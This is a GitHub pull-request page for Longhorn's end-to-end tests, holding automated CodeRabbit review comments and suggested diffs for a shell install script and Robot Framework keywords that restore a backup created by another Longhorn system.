- e2e/libs/keywords/longhorn_deploy_keywords.py
- e2e/libs/longhorn_deploy/base.py
- e2e/libs/longhorn_deploy/longhorn_deploy.py
- e2e/libs/longhorn_deploy/longhorn_helm_chart.py
- e2e/libs/longhorn_deploy/longhorn_kubectl.py
- e2e/tests/negative/pull_backup_from_another_longhorn.robot
- pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
🔇 Additional comments (5)
e2e/utilities/longhorn-install.sh (3)
55-63: 🛠️ Refactor suggestion
Reduce duplication and add error handling.
The function duplicates logic and lacks error handling:
+install_longhorn_common() {
+ if ! create_longhorn_namespace; then
+ echo "Error: Failed to create namespace"
+ return 1
+ fi
+ if ! install_backupstores; then
+ echo "Error: Failed to install backupstores"
+ return 1
+ fi
+}
+
install_longhorn_stable_version(){
- create_longhorn_namespace
- install_backupstores
+ if ! install_longhorn_common; then
+ return 1
+ fi
+
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
- install_longhorn_stable_by_chart
+ if ! install_longhorn_stable_by_chart; then
+ return 1
+ fi
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
- install_longhorn_stable_by_manifest
+ if ! install_longhorn_stable_by_manifest; then
+ return 1
+ fi
fi
- setup_longhorn_ui_nodeport
+ if ! setup_longhorn_ui_nodeport; then
+ echo "Error: Failed to setup UI nodeport"
+ return 1
+ fi
}Likely invalid or redundant comment.
28-35:
Add version validation and error handling.
The function needs validation and proper error handling for critical operations:
install_longhorn_stable_by_chart(){
+ # Validate version format
+ if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+ echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
+ return 1
+ fi
+
+ # Ensure clean state
+ rm -rf "${LONGHORN_REPO_DIR}"
+
git clone --single-branch \
--branch "${LONGHORN_STABLE_VERSION}" \
"${LONGHORN_REPO_URI}" \
- "${LONGHORN_REPO_DIR}"
- helm upgrade --install longhorn "${LONGHORN_REPO_DIR}/chart/" --namespace "${LONGHORN_NAMESPACE}"
- wait_longhorn_status_running
+ "${LONGHORN_REPO_DIR}" || {
+ echo "Error: Failed to clone repository"
+ return 1
+ }
+
+ if [[ ! -d "${LONGHORN_REPO_DIR}/chart" ]]; then
+ echo "Error: Chart directory not found"
+ return 1
+ fi
+
+ helm upgrade --install longhorn "${LONGHORN_REPO_DIR}/chart/" \
+ --namespace "${LONGHORN_NAMESPACE}" || {
+ echo "Error: Helm installation failed"
+ return 1
+ }
+
+ if ! wait_longhorn_status_running; then
+ echo "Error: Longhorn failed to reach running status"
+ return 1
+ fi
+
+ # Cleanup
+ rm -rf "${LONGHORN_REPO_DIR}"Likely invalid or redundant comment.
49-49:
Add workspace variable validation.
The script uses TF_VAR_tf_workspace without validation:
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
+ if [[ -z "${TF_VAR_tf_workspace}" ]]; then
+ echo "Error: TF_VAR_tf_workspace is not set"
+ return 1
+ fi
+ if [[ ! -d "${TF_VAR_tf_workspace}" ]]; then
+ echo "Error: Workspace directory ${TF_VAR_tf_workspace} does not exist"
+ return 1
+ fi
generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"Likely invalid or redundant comment.
🧰 Tools
🪛 Shellcheck
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
e2e/keywords/volume.resource (2)
94-96: LGTM! Well-structured keyword for writing data with specific size
The implementation is consistent with existing patterns and provides good granular control over data size.
299-302: Consider adding explicit volume parameters
The keyword creates a volume without specifying size and replica count, which might differ from the source volume's configuration. This could lead to inconsistencies when restoring backups between different Longhorn systems.
| LONGHORN_REPO_DIR="${TMPDIR}/longhorn" | ||
| LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"} |
There was a problem hiding this comment.
🛠️ Refactor suggestion
Add directory validation and cleanup.
Add validation for TMPDIR and ensure clean state before operations:
LONGHORN_REPO_DIR="${TMPDIR}/longhorn"
+# Validate TMPDIR exists and is writable
+if [[ ! -d "${TMPDIR}" ]] || [[ ! -w "${TMPDIR}" ]]; then
+ echo "Error: ${TMPDIR} does not exist or is not writable"
+ exit 1
+fi
+# Clean existing repo directory
+if [[ -d "${LONGHORN_REPO_DIR}" ]]; then
+ rm -rf "${LONGHORN_REPO_DIR}"
+fi
LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| LONGHORN_REPO_DIR="${TMPDIR}/longhorn" | |
| LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"} | |
| LONGHORN_REPO_DIR="${TMPDIR}/longhorn" | |
| # Validate TMPDIR exists and is writable | |
| if [[ ! -d "${TMPDIR}" ]] || [[ ! -w "${TMPDIR}" ]]; then | |
| echo "Error: ${TMPDIR} does not exist or is not writable" | |
| exit 1 | |
| fi | |
| # Clean existing repo directory | |
| if [[ -d "${LONGHORN_REPO_DIR}" ]]; then | |
| rm -rf "${LONGHORN_REPO_DIR}" | |
| fi | |
| LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"} |
e2e/utilities/longhorn-install.sh
Outdated
| install_longhorn_stable_by_manifest(){ | ||
| LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION} | ||
| LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml" | ||
| install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}" | ||
| } |
There was a problem hiding this comment.
Fix redundant assignment and add URL validation.
The function has unnecessary assignment and needs URL validation:
install_longhorn_stable_by_manifest(){
- LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
+ # Validate version format
+ if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+ echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
+ return 1
+ fi
+
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
+
+ # Validate manifest URL format
+ if [[ ! "${LONGHORN_STABLE_MANIFEST_URL}" =~ ^https://raw\.githubusercontent\.com/longhorn/longhorn/v[0-9]+\.[0-9]+\.[0-9]+/deploy/longhorn\.yaml$ ]]; then
+ echo "Error: Invalid manifest URL format"
+ return 1
+ fi
+
install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}"
}📝 Committable suggestion
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| install_longhorn_stable_by_manifest(){ | |
| LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION} | |
| LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml" | |
| install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}" | |
| } | |
| install_longhorn_stable_by_manifest(){ | |
| # Validate version format | |
| if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then | |
| echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}" | |
| return 1 | |
| fi | |
| LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml" | |
| # Validate manifest URL format | |
| if [[ ! "${LONGHORN_STABLE_MANIFEST_URL}" =~ ^https://raw\.githubusercontent\.com/longhorn/longhorn/v[0-9]+\.[0-9]+\.[0-9]+/deploy/longhorn\.yaml$ ]]; then | |
| echo "Error: Invalid manifest URL format" | |
| return 1 | |
| fi | |
| install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}" | |
| } |
| ${backup_url} = get_backup_url_from_backup_list ${backups_before_uninstall} ${backup_id} | ||
| create_volume ${volume_name} fromBackup=${backup_url} |
There was a problem hiding this comment.
🛠️ Refactor suggestion
Add validation for backup existence
The keyword assumes the backup exists in the backups_before_uninstall list. Consider adding validation to handle cases where the backup is not found.
Create volume ${volume_id} from backup ${backup_id} in another cluster
${volume_name} = generate_name_with_suffix volume ${volume_id}
${backup_url} = get_backup_url_from_backup_list ${backups_before_uninstall} ${backup_id}
+ Run Keyword If '${backup_url}' == '${None}' Fail Backup ${backup_id} not found in backups_before_uninstall
create_volume ${volume_name} fromBackup=${backup_url}Committable suggestion skipped: line range outside the PR's diff.
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Actionable comments posted: 3
🧹 Outside diff range and nitpick comments (2)
e2e/libs/longhorn_deploy/base.py (1)
39-42: Enhance error messaging for installation modesConsider adding descriptive logging before executing the installation to clearly indicate which mode (stable/development) is being used.
if is_stable_version is True: + logging(f"Installing Longhorn stable version") cmd = ['bash', '-c', f'IS_INSTALL_STABLE_VERSION=true {full_path}'] else: + logging(f"Installing Longhorn development version") cmd = ['bash', full_path]e2e/keywords/volume.resource (1)
94-96: Add parameter validation and documentationWhile the implementation is correct, consider adding parameter validation and documentation:
Write data ${data_id} ${size} MB to volume ${volume_id} + [Documentation] Writes random data to a volume + ... ${data_id} - Unique identifier for the data + ... ${size} - Size in MB (must be positive) + ... ${volume_id} - Target volume identifier ${volume_name} = generate_name_with_suffix volume ${volume_id} + Run Keyword If ${size} <= 0 Fail Size must be positive write_volume_random_data ${volume_name} ${size} ${data_id}
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e2e/keywords/longhorn.resource(1 hunks)e2e/keywords/volume.resource(2 hunks)e2e/libs/backup/rest.py(1 hunks)e2e/libs/keywords/longhorn_deploy_keywords.py(1 hunks)e2e/libs/longhorn_deploy/base.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_deploy.py(1 hunks)e2e/libs/longhorn_deploy/longhorn_helm_chart.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_kubectl.py(2 hunks)e2e/tests/negative/pull_backup_from_another_longhorn.robot(1 hunks)e2e/utilities/longhorn-install.sh(2 hunks)pipelines/utilities/run_longhorn_e2e_test.sh(2 hunks)
🚧 Files skipped from review as they are similar to previous changes (8)
- e2e/keywords/longhorn.resource
- e2e/libs/backup/rest.py
- e2e/libs/keywords/longhorn_deploy_keywords.py
- e2e/libs/longhorn_deploy/longhorn_deploy.py
- e2e/libs/longhorn_deploy/longhorn_helm_chart.py
- e2e/libs/longhorn_deploy/longhorn_kubectl.py
- e2e/tests/negative/pull_backup_from_another_longhorn.robot
- pipelines/utilities/run_longhorn_e2e_test.sh
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🪛 Shellcheck
e2e/utilities/longhorn-install.sh
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
🔇 Additional comments (5)
e2e/libs/longhorn_deploy/base.py (4)
22-22: LGTM: Parameter change aligns with testing requirements
The change from longhorn_branch to is_stable_version better reflects the intended use case of testing between stable and development versions of Longhorn.
32-33: Referring to previous review comment
A previous review already suggested using regex for more robust log level matching.
45-55: LGTM: Improved error handling implementation
The error handling has been enhanced with comprehensive logging of command outputs and error states, which will help in debugging installation issues.
45-45: Verify installation timeout for stable version
Since we're dealing with different Longhorn versions, verify that the LONGHORN_INSTALL_TIMEOUT is sufficient for stable version installations.
e2e/keywords/volume.resource (1)
299-302: 🛠️ Refactor suggestion
Add error handling for cross-cluster operations
The implementation should handle potential cross-cluster connectivity issues:
Create volume ${volume_id} from backup ${backup_id} in another cluster
${volume_name} = generate_name_with_suffix volume ${volume_id}
${backup_url} = get_backup_url_from_backup_list ${backups_before_uninstall} ${backup_id}
+ Run Keyword If '${backup_url}' == '${EMPTY}' Fail Failed to retrieve backup URL for ${backup_id}
+ Wait Until Keyword Succeeds 5x 2s create_volume ${volume_name} fromBackup=${backup_url}
- create_volume ${volume_name} fromBackup=${backup_url}The previous review comments about adding explicit volume parameters and backup validation are still applicable.
e2e/utilities/longhorn-install.sh
Outdated
| install_longhorn_stable_by_manifest(){ | ||
| LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION} | ||
| LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml" | ||
| kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}" | ||
| } |
There was a problem hiding this comment.
Add error handling for kubectl operation.
The function should handle potential failures in kubectl apply operation.
Apply this diff:
install_longhorn_stable_by_manifest(){
LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
- kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"
+ if ! kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"; then
+ echo "Error: Failed to apply Longhorn manifest"
+ return 1
+ fi
+
+ # Wait for resources to be created
+ if ! wait_longhorn_status_running; then
+ echo "Error: Longhorn failed to reach running status"
+ return 1
+ fi
}Committable suggestion skipped: line range outside the PR's diff.
| IS_INSTALL_STABLE_VERSION="${IS_INSTALL_STABLE_VERSION:-false}" | ||
| if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then | ||
| install_longhorn_stable_version | ||
| else | ||
| install_longhorn | ||
| fi |
There was a problem hiding this comment.
Add environment variable validation.
The script should validate all required environment variables before proceeding with installation.
Add this validation before the if statement:
+# Required environment variables
+REQUIRED_VARS=(
+ "LONGHORN_INSTALL_METHOD"
+ "LONGHORN_NAMESPACE"
+)
+
+# Optional variables that become required based on installation method
+if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then
+ REQUIRED_VARS+=("LONGHORN_STABLE_VERSION")
+fi
+
+# Validate required variables
+for var in "${REQUIRED_VARS[@]}"; do
+ if [[ -z "${!var}" ]]; then
+ echo "Error: Required environment variable $var is not set"
+ exit 1
+ fi
+done
+
if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| IS_INSTALL_STABLE_VERSION="${IS_INSTALL_STABLE_VERSION:-false}" | |
| if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then | |
| install_longhorn_stable_version | |
| else | |
| install_longhorn | |
| fi | |
| IS_INSTALL_STABLE_VERSION="${IS_INSTALL_STABLE_VERSION:-false}" | |
| # Required environment variables | |
| REQUIRED_VARS=( | |
| "LONGHORN_INSTALL_METHOD" | |
| "LONGHORN_NAMESPACE" | |
| ) | |
| # Optional variables that become required based on installation method | |
| if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then | |
| REQUIRED_VARS+=("LONGHORN_STABLE_VERSION") | |
| fi | |
| # Validate required variables | |
| for var in "${REQUIRED_VARS[@]}"; do | |
| if [[ -z "${!var}" ]]; then | |
| echo "Error: Required environment variable $var is not set" | |
| exit 1 | |
| fi | |
| done | |
| if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then | |
| install_longhorn_stable_version | |
| else | |
| install_longhorn | |
| fi |
| install_longhorn_stable_by_chart(){ | ||
| git clone --single-branch \ | ||
| --branch "${LONGHORN_STABLE_VERSION}" \ | ||
| "${LONGHORN_REPO_URI}" \ | ||
| "${LONGHORN_REPO_DIR}" | ||
| helm upgrade --install longhorn "${LONGHORN_REPO_DIR}/chart/" --namespace "${LONGHORN_NAMESPACE}" | ||
| wait_longhorn_status_running | ||
| } |
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Add version validation before git operations.
The function should validate LONGHORN_STABLE_VERSION before using it in git operations to prevent security issues.
Apply this diff:
install_longhorn_stable_by_chart(){
+ # Validate version format (e.g., v1.2.3)
+ if [[ -z "${LONGHORN_STABLE_VERSION}" ]]; then
+ echo "Error: LONGHORN_STABLE_VERSION is not set"
+ return 1
+ fi
+ if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+ echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
+ return 1
+ fi
+
git clone --single-branch \Committable suggestion skipped: line range outside the PR's diff.
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ref: longhorn/longhorn#9646 Signed-off-by: Chris <chris.chien@suse.com>
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Actionable comments posted: 2
🧹 Outside diff range and nitpick comments (1)
e2e/keywords/volume.resource (1)
94-96: Add size parameter validation and documentationConsider adding validation for the size parameter and documenting that the size is in MB (unlike other keywords that use GB).
Write data ${data_id} ${size} MB to volume ${volume_id} + [Documentation] Writes random data to a volume. The size parameter is in MB. ${volume_name} = generate_name_with_suffix volume ${volume_id} + Run Keyword If ${size} <= 0 Fail Size must be greater than 0 write_volume_random_data ${volume_name} ${size} ${data_id}
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📒 Files selected for processing (11)
e2e/keywords/longhorn.resource(1 hunks)e2e/keywords/volume.resource(2 hunks)e2e/libs/backup/rest.py(1 hunks)e2e/libs/keywords/longhorn_deploy_keywords.py(1 hunks)e2e/libs/longhorn_deploy/base.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_deploy.py(1 hunks)e2e/libs/longhorn_deploy/longhorn_helm_chart.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_kubectl.py(2 hunks)e2e/tests/negative/pull_backup_from_another_longhorn.robot(1 hunks)e2e/utilities/longhorn-install.sh(2 hunks)pipelines/utilities/run_longhorn_e2e_test.sh(2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
- e2e/keywords/longhorn.resource
- e2e/libs/backup/rest.py
- e2e/libs/keywords/longhorn_deploy_keywords.py
- e2e/libs/longhorn_deploy/base.py
- e2e/libs/longhorn_deploy/longhorn_deploy.py
- e2e/libs/longhorn_deploy/longhorn_helm_chart.py
- e2e/libs/longhorn_deploy/longhorn_kubectl.py
- e2e/tests/negative/pull_backup_from_another_longhorn.robot
- pipelines/utilities/run_longhorn_e2e_test.sh
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🪛 Shellcheck
e2e/utilities/longhorn-install.sh
[warning] 50-50: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
🔇 Additional comments (1)
e2e/utilities/longhorn-install.sh (1)
44-54:
Add workspace variable validation.
The script uses TF_VAR_tf_workspace without validating its existence, which could lead to silent failures.
Apply this diff:
install_longhorn(){
create_longhorn_namespace
install_backupstores
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
install_longhorn_by_chart
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
+ if [[ -z "${TF_VAR_tf_workspace}" ]]; then
+ echo "Error: TF_VAR_tf_workspace is not set"
+ return 1
+ fi
generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"
install_longhorn_by_manifest "${TF_VAR_tf_workspace}/longhorn.yaml"
fi
setup_longhorn_ui_nodeport
}Likely invalid or redundant comment.
🧰 Tools
🪛 Shellcheck
[warning] 50-50: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
| install_longhorn_stable_by_manifest(){ | ||
| LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION} | ||
| LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml" | ||
| kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}" | ||
| wait_longhorn_status_running | ||
| } |
There was a problem hiding this comment.
Remove redundant assignment and add error handling.
The function has the following issues:
- Line 38 contains a redundant assignment
LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION} - Missing error handling for kubectl operations
Apply this diff:
install_longhorn_stable_by_manifest(){
- LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
- kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"
+ if ! kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"; then
+ echo "Error: Failed to apply Longhorn manifest"
+ return 1
+ fi
wait_longhorn_status_running
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| install_longhorn_stable_by_manifest(){ | |
| LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION} | |
| LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml" | |
| kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}" | |
| wait_longhorn_status_running | |
| } | |
| install_longhorn_stable_by_manifest(){ | |
| LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml" | |
| if ! kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"; then | |
| echo "Error: Failed to apply Longhorn manifest" | |
| return 1 | |
| fi | |
| wait_longhorn_status_running | |
| } |
| Create volume ${volume_id} from backup ${backup_id} in another cluster | ||
| ${volume_name} = generate_name_with_suffix volume ${volume_id} | ||
| ${backup_url} = get_backup_url_from_backup_list ${backups_before_uninstall} ${backup_id} | ||
| create_volume ${volume_name} fromBackup=${backup_url} |
There was a problem hiding this comment.
💡 Codebase verification
Missing backup URL format validation
No backup URL format validation found. Consider implementing validation to ensure compatibility across different Longhorn versions.
🔗 Analysis chain
Verify backup URL format
The backup URL format might differ between Longhorn versions. Consider adding validation for the backup URL format to ensure compatibility between different Longhorn versions.
🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash
# Description: Check backup URL format across different Longhorn versions
# Search for backup URL format validation or transformation in the codebase
rg -A 5 'backup.*url.*format|backup.*url.*transform'
# Search for backup URL related tests
rg -A 5 'test.*backup.*url'
Length of output: 84
Script:
#!/bin/bash
# Description: Expanded search for backup URL format validation or related functions
# Search for various patterns related to backup URL handling
rg -i -A 5 'backup.*URL.*validate|backupURL|validateBackupURL|parse_backup|backup_url_format'
# Search for backup URL related tests with broader patterns
rg -i -A 5 'test.*backup.*URL|backup.*URL.*test'
Length of output: 9336
Which issue(s) this PR fixes:
Issue #9646
What this PR does / why we need it:
Implement manual test case pull backup created by another Longhorn system
If running on local, below enviromnet need to be set up at first
example:
Special notes for your reviewer:
Tested on my local and Jenkins
Additional documentation or context
Manual test case (in case manual case removed in the future)
Hi @mantissahz , this PR is related to backup, could you take a look on this? thank you.
Summary by CodeRabbit
Release Notes
New Features
Bug Fixes
Tests
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